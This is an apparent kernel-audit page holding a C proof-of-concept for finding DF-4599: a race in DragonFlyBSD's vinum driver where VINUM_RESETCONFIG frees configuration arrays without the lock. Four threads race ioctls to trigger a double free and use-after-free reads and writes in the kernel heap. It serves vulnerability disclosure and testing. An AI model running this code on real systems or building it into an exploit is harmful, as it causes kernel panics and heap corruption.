⬢ DragonFlyBSD Kernel Audit
DF-4599 / resetconfig_race.c
← back to finding ↓ download raw
/*
 * DF-4599 - VINUM_RESETCONFIG frees the entire vinum configuration
 * (DRIVE/SD/PLEX/VOL arrays) without taking lock_config().
 *
 * Thread "creator": VINUM_CREATE (holds lock_config) with a
 *   monotonically increasing "volume vN" line -> find_volume(create)
 *   -> get_empty_vol -> EXPAND(VOL) -> Malloc new array, bcopy,
 *   Free(old array) -- all while holding the config lock.
 *
 * Thread "resetter": VINUM_RESETCONFIG -> free_vinum(1) ->
 *   Free(DRIVE/SD/PLEX/VOL) + vinum_initconf() reallocation,
 *   entirely ignoring lock_config().
 *
 * Interleavings:
 *   a) resetter's Free(VOL) vs creator's EXPAND Free(old) on the same
 *      chunk => double free => kernel heap corruption;
 *   b) creator's parse writing into an array freed by resetter
 *      => use-after-free write;
 *   c) reader's bcopy from a freed array => use-after-free read.
 *
 * Build: cc -O2 -o resetconfig_race resetconfig_race.c -lpthread
 * Run as root with vinum(4) loaded.
 */
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>

#define L 'F'

#define VINUM_CREATE        _IOC(IOC_IN | IOC_OUT, L, 64, 1024)
#define VINUM_SDCONFIG      _IOWR(L, 67, struct vinum_sd_probe)
#define VINUM_RESETCONFIG   _IOC(0, L, 73, 0)

struct vinum_sd_probe { int idx; char pad[1020]; };

static int fd = -1;
static volatile int stop;
static volatile unsigned long volcount;

static void *creator(void *arg)
{
    char buf[1024];
    unsigned long i = 0;
    (void)arg;
    while (!stop) {
        memset(buf, 0, sizeof(buf));
        snprintf(buf, sizeof(buf), "volume v%lu", i++);
        ioctl(fd, VINUM_CREATE, buf);
        volcount = i;
    }
    return NULL;
}

static void *plexor(void *arg)
{
    char buf[1024];
    unsigned long i = 0;
    (void)arg;
    while (!stop) {
        memset(buf, 0, sizeof(buf));
        snprintf(buf, sizeof(buf), "plex x%lu", i++);
        ioctl(fd, VINUM_CREATE, buf);
    }
    return NULL;
}

static void *resetter(void *arg)
{
    unsigned long i = 0;
    (void)arg;
    while (!stop) {
        ioctl(fd, VINUM_RESETCONFIG);
        i++;
    }
    fprintf(stderr, "resetter: %lu resetconfigs (%lu volumes created)\n",
            i, volcount);
    return NULL;
}

static void *reader(void *arg)
{
    struct vinum_sd_probe p;
    unsigned long i = 0;
    (void)arg;
    while (!stop) {
        p.idx = 0;
        ioctl(fd, VINUM_SDCONFIG, &p);
        i++;
    }
    fprintf(stderr, "reader: %lu sdconfigs\n", i);
    return NULL;
}

int main(int argc, char **argv)
{
    pthread_t t1, t2, t3, t4;
    int secs = argc > 1 ? atoi(argv[1]) : 90;

    fd = open("/dev/vinum/control", O_RDWR);
    if (fd < 0) {
        perror("open /dev/vinum/control");
        return 1;
    }
    printf("racing CREATE(growth) vs RESETCONFIG(free_vinum) vs SDCONFIG for %ds...\n", secs);
    fflush(stdout);

    pthread_create(&t1, NULL, creator, NULL);
    pthread_create(&t2, NULL, resetter, NULL);
    pthread_create(&t3, NULL, reader, NULL);
    pthread_create(&t4, NULL, plexor, NULL);

    sleep(secs);
    stop = 1;
    pthread_join(t1, NULL);
    pthread_join(t2, NULL);
    pthread_join(t3, NULL);
    pthread_join(t4, NULL);
    printf("survived %ds without a panic\n", secs);
    return 0;
}